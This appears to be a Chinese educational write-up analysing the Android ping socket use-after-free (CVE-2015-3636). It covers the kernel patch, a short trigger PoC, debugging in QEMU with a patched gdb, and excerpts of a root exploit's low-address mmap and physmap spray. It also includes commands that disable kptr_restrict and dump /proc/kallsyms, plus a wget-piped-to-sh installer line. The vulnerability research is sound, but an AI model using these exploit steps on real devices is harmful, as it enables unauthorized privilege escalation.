前言
去年差不多这个时候就计划把这个漏洞给分析了,由于android没有经常搞,所以踩了很多坑,中间一度因为各种原因停滞放弃,最近遇到一个事情让我下定决心把它了结,也算是解决一个心病。过程会写详细一点,给和我一样的初学朋友提供点帮助。这个漏洞keen在blackhat上讲过[8],是一个很经典的android内核漏洞,也是第一个64bit root,还是很有学习价值的。分析android内核的漏洞需要自己下载android源代码和内核源代码,reverse patch,编译调试。吾爱破解有个比赛就是写这个漏洞的exploit,并且还提供了相应的环境[3],所以我偷了个懒,直接拿过来用就行了。exploit我在github上也直接找了一份现成的[11],经我测试可用。
漏洞原理
其实很多文章都对漏洞原理描述很清楚了,为了文章完整性我再赘述一下。补丁[12]是在net/ipv4/ping.c的ping_unhash中加了一句sk_nulls_node_init(&sk->sk_nulls_node)。
这行代码其实就是把node->pprev设置成了NULL。
static __inline__ void sk_nulls_node_init(struct hlist_nulls_node *node)
{
node->pprev = NULL;
}
我们再看看keen给的POC。
int sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP);
struct sockaddr addr = { .sa_family = AF_INET };
int ret = connect(sockfd, &addr, sizeof(addr));
struct sockaddr _addr = { .sa_family = AF_UNSPEC };
ret = connect(sockfd, &_addr, sizeof(_addr));
ret = connect(sockfd, &_addr, sizeof(_addr));
把内核源代码下载下来看看。
git clone https://aosp.tuna.tsinghua.edu.cn/kernel/common.git
git checkout remotes/origin/android-3.4 -b android-3.4
当调用socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP)创建socket再调用connect时,在内核中调用到了inet_dgram_connect。
int inet_dgram_connect(struct socket *sock, struct sockaddr * uaddr,
int addr_len, int flags)
{
struct sock *sk = sock->sk;
if (addr_len < sizeof(uaddr->sa_family))
return -EINVAL;
if (uaddr->sa_family == AF_UNSPEC)
return sk->sk_prot->disconnect(sk, flags);
if (!inet_sk(sk)->inet_num && inet_autobind(sk))
return -EAGAIN;
return sk->sk_prot->connect(sk, (struct sockaddr *)uaddr, addr_len);
}
EXPORT_SYMBOL(inet_dgram_connect);
如果sa_family == AF_UNSPEC会根据协议类型调用相应的disconnect routine,对于PROTO_ICMP来说是udp_disconnect。
int udp_disconnect(struct sock *sk, int flags)
{
struct inet_sock *inet = inet_sk(sk);
/*
* 1003.1g - break association.
*/
sk->sk_state = TCP_CLOSE;
inet->inet_daddr = 0;
inet->inet_dport = 0;
sock_rps_reset_rxhash(sk);
sk->sk_bound_dev_if = 0;
if (!(sk->sk_userlocks & SOCK_BINDADDR_LOCK))
inet_reset_saddr(sk);
if (!(sk->sk_userlocks & SOCK_BINDPORT_LOCK)) {
sk->sk_prot->unhash(sk);
inet->inet_sport = 0;
}
sk_dst_reset(sk);
return 0;
}
EXPORT_SYMBOL(udp_disconnect);
最终会调用到ping_unhash。
void ping_unhash(struct sock *sk)
{
struct inet_sock *isk = inet_sk(sk);
pr_debug("ping_unhash(isk=%p,isk->num=%u)\n", isk, isk->inet_num);
if (sk_hashed(sk)) {
write_lock_bh(&ping_table.lock);
hlist_nulls_del(&sk->sk_nulls_node);
sk_nulls_node_init(&sk->sk_nulls_node);
sock_put(sk);
isk->inet_num = 0;
isk->inet_sport = 0;
sock_prot_inuse_add(sock_net(sk), sk->sk_prot, -1);
write_unlock_bh(&ping_table.lock);
}
}
EXPORT_SYMBOL_GPL(ping_unhash);
如果sk_hashed条件成立则会调用hlist_nulls_del在一个双向链表hlist中删除sk_nulls_node。
static inline void __hlist_nulls_del(struct hlist_nulls_node *n)
{
struct hlist_nulls_node *next = n->next;
struct hlist_nulls_node **pprev = n->pprev;
*pprev = next;
if (!is_a_nulls(next))
next->pprev = pprev;
}
static inline void hlist_nulls_del(struct hlist_nulls_node *n)
{
__hlist_nulls_del(n);
n->pprev = LIST_POISON2;
}
当n也就是sk_nulls_node被删除之后n->pprev被设置为LIST_POISON2,它的值是固定的0x200200。我们看一下第二次connect的时候sk_hashed条件是否成立。
static inline int sk_unhashed(const struct sock *sk)
{
return hlist_unhashed(&sk->sk_node);
}
static inline int sk_hashed(const struct sock *sk)
{
return !sk_unhashed(sk);
}
static inline int hlist_unhashed(const struct hlist_node *h)
{
return !h->pprev;
}
这里注意sk_node和sk_nulls_node共用了一个union,两者的定义也十分类似,似乎有一点类型混淆的感觉。
#define sk_node __sk_common.skc_node
#define sk_nulls_node __sk_common.skc_nulls_node
union {
struct hlist_node skc_node;
struct hlist_nulls_node skc_nulls_node;
};
struct hlist_node {
struct hlist_node *next, **pprev;
};
struct hlist_nulls_node {
struct hlist_nulls_node *next, **pprev;
};
所以虽然设置的是sk_nulls_node->pprev判断的是sk_node->pprev但是实际上是一个东西,sk_hashed条件成立,再次删除已经删除的对象,执行*pprev = next时pprev已经是0x200200了,如果这个地址没有映射到用户态就会kernel panic。poc中第一次AF_INET的connect是为了将sk加入hlist中。下面就是poc的效果。
这里Unable to handle kernel paging request at virtual address的地址是0x1360而不是0x200200,可能出题的人在这里修改了一下。我们在IDA里面看看。如果采取自己编译调试的方式是可以加载vmlinux符号文件的,这里我们就只能自己从机器上得到函数地址和名称然后加载到IDA中了。把Image拖到IDA64中,Process type选择ARM Little-endian [ARM]。
把ROM start address和Loading address设置为0xFFFFFFC000080000(32位系统就是0xC0008000)。Android 8.0中才为4.4及以后的内核引入了KASLR,很显然我们这里没有KASLR,这个值是固定的。
选择64-bit code。
这个时候IDA是什么也识别不出来的,因为Image文件并不是一个ELF,用binwalk看一下就会发现其实它组成还挺复杂的。我们接下来从运行的虚拟机中导出内核函数名称和地址。在ubuntu这样的发行版和android内核中有Kernel Address Display Restriction,所以先把它关掉。
sh -c " echo 0 > /proc/sys/kernel/kptr_restrict"
cat /proc/kallsyms > /data/local/tmp/1.txt
adb pull /data/local/tmp/1.txt
写一个简单的脚本把这些函数名加载到IDA里面。
ksyms = open("D:\\1.txt")
for line in ksyms:
addr = int(line[0:16],16)
name = line[19:].replace('_','')
name = line[19:].replace('\n','')
idc.MakeCode(addr)
idc.MakeFunction(addr)
idc.MakeName(addr,name)
Message("%08X:%s"%(addr,name))
出来的函数列表里面只有ping_hash没有ping_unhash,我们把ping_hash的End address改成0xFFFFFFC000409614再在0xFFFFFFC000409614处create function处理一下就可以了。
我们可以看到crash处0xFFFFFFC000409644和前后的代码。
ROM:FFFFFFC00040963C LDR X1, [X19,#0x38]
ROM:FFFFFFC000409640 LDR X0, [X19,#0x30]
ROM:FFFFFFC000409644 STR X0, [X1]
这三行代码对应源代码中的下面这三行。
struct hlist_nulls_node *next = n->next;
struct hlist_nulls_node **pprev = n->pprev;
*pprev = next;
所以进一步确认了漏洞成因和我们前面所分析的一样。如何让IDA分析Image讲的有点多了,主要参考了[1]和[4]。接下来还是回到正题,既然说这是一个UAF漏洞那么哪里UAF了呢?在hlist_nulls_del之后还有一个sock_put。
/* Ungrab socket and destroy it, if it was the last reference. */
static inline void sock_put(struct sock *sk)
{
if (atomic_dec_and_test(&sk->sk_refcnt))
sk_free(sk);
}
sock_put将sk的引用计数减1,并且判断其值是否为0,如果为0的话就free掉sk。可以想到最后一次connect进入本不该进入的if分支之后如果我们提前mmap了0x200200(这里是0x1360)就不会崩溃,接下来进入sock_put,引用计数变成0,sk被free掉,但是文件描述符还在用户空间,这就造成了UAF。
调试过程
我们可以先测一下这个EXP。不过要注意的是必须用adb shell过去然后su shell才能继承root的权限得到建立socket的权限。测试发现这个EXP确实是可用的,下面就开始调试。
我调试时的命令如下。
./qemu-system-aarch64 -cpu cortex-a57 -machine type=ranchu -m 1024 -append 'console=ttyAMA0,38400 keep_bootcon earlyprintk=ttyAMA0' -serial mon:stdio -kernel Image -initrd /home/hjy/Desktop/android-problem-env/ramdisk.img -drive index=0,id=sdcard,file=/home/hjy/Desktop/android-problem-env/system.img -device virtio-blk-device,drive=sdcard -drive index=1,id=userdata,file=/home/hjy/Desktop/android-problem-env/.//userdata.img -device virtio-blk-device,drive=userdata -drive index=2,id=cache,file=/home/hjy/Desktop/android-problem-env/cache.img -device virtio-blk-device,drive=cache -drive index=3,id=system,file=/home/hjy/Desktop/android-problem-env/system.img -device virtio-blk-device,drive=system -netdev user,id=mynet -device virtio-net-device,netdev=mynet -show-cursor -nographic -L lib/pc-bios -gdb tcp::1234,ipv4 –S
这里又有一个很坑的地方,用NDK里面的gdb去调试会报Remote 'g' packet reply is too long,需要我们自己修改gdb源代码并且编译[9]。
git clone https://android.googlesource.com/toolchain/gdb.git
下载下来发现有gdb-7.11和gdb-8.0.1两个文件夹,由于pwndbg和GEF等插件目前好像还不支持gdb 8.x,所以我们选择gdb-7.11。找到gdb-7.11/gdb目录下的remote.c文件,注释掉这两行。
if (buf_len > 2 * rsa->sizeof_g_packet)
error (_(“Remote ‘g’ packet reply is too long: %s”), rs->buf);
在后面加上下面这几行。
if (buf_len > 2 * rsa->sizeof_g_packet)
{
rsa->sizeof_g_packet = buf_len ;
for (i = 0; i < gdbarch_num_regs (gdbarch); i++)
{
if (rsa->regs[i].pnum == -1)
continue;
if (rsa->regs[i].offset >= rsa->sizeof_g_packet)
rsa->regs[i].in_g_packet = 0;
else
rsa->regs[i].in_g_packet = 1;
}
}
编译安装。
./configure --target=aarch64-linux-androideabi --prefix=/home/hjy/Desktop/gdb_build/gdb/gdb-7.11/arm-linux
make
make install
安装GEF,因为很多人说pwndbg比较卡而GEF不卡。
wget -q -O- https://github.com/hugsy/gef/raw/master/scripts/gef.sh | sh
终于开始调试了,不过还有一个小坑,我们应该用gef-remote -q localhost:1234也就是加上-q参数不然会报错,原因在这里[7]。接下来进入漏洞利用的部分。我们可以看到在main函数中整个漏洞触发漏洞的过程和POC中一样。
vultrig_socks[i] = socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP);
ret = connect(vultrig_socks[i], &addr1, sizeof(addr1));
system("echo 4096 > /proc/sys/vm/mmap_min_addr");
void* user_mm = mmap(PAGE_SIZE, MAX_NULLMAP_SIZE, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE| MAP_FIXED |MAP_ANONYMOUS, -1, 0);
ret = connect(vultrig_socks[i], &addr2, sizeof(addr2));
ret = connect(vultrig_socks[i], &addr2, sizeof(addr2));
修改mmap_min_addr并mmap就是为了避免崩溃这样才能执行到sock_put的逻辑。接下来的操作叫做physmap spray,大家如果对CVE-2014-3153(towelroot)还有印象的话,会记得它是通过sendmmsg修改内核数据的,keen在文章中解释了,通过sendmmsg完成堆喷的条件是存在漏洞的对象大小必须和SLAB分配器通常使用的大小一致。而在一些android设备上,PING sock对象的大小是576,不是期望的512或者1024。这样就很难对齐,利用会很不稳定,所以采用的是physmap spray的方法。
在内核中physmap在一个相对较高的地址,而SLAB通常在一个相对较低的地址,通过喷射其它的内核对象使得SLAB分配器在相对高的地址分配PING sock对象造成physmap和SLAB重叠,这个过程叫做lifting。这里的“其它的内核对象”直接用PING sock对象其实就可以。
然后释放掉用来做lifting的PING sock对象,和physmap重叠的那一部分则留做触发漏洞。那么怎样才能知道什么时候PING sock对象已经被physmap中的数据填充了可以停止喷射以及怎样找到已经被填充的PING sock对象呢?在physmap spray中进行了大量的mmap操作,并且将mapped_page+0x1D8处赋值为MAGIC_VALUE+physmap_spray_pages_count,接下来search_exploitable_socket的时候用ioctl一个一个去试。
ioctl(exp_sock, SIOCGSTAMPNS, &time);
这里的time是timespec结构体,会调用到sock_get_timestampns。
int sock_get_timestampns(struct sock *sk, struct timespec __user *userstamp)
{
struct timespec ts;
if (!sock_flag(sk, SOCK_TIMESTAMP))
sock_enable_timestamp(sk, SOCK_TIMESTAMP);
ts = ktime_to_timespec(sk->sk_stamp);
if (ts.tv_sec == -1)
return -ENOENT;
if (ts.tv_sec == 0) {
sk->sk_stamp = ktime_get_real();
ts = ktime_to_timespec(sk->sk_stamp);
}
return copy_to_user(userstamp, &ts, sizeof(ts)) ? -EFAULT : 0;
}
作者:看雪学院
链接:https://www.jianshu.com/p/281ef45acf33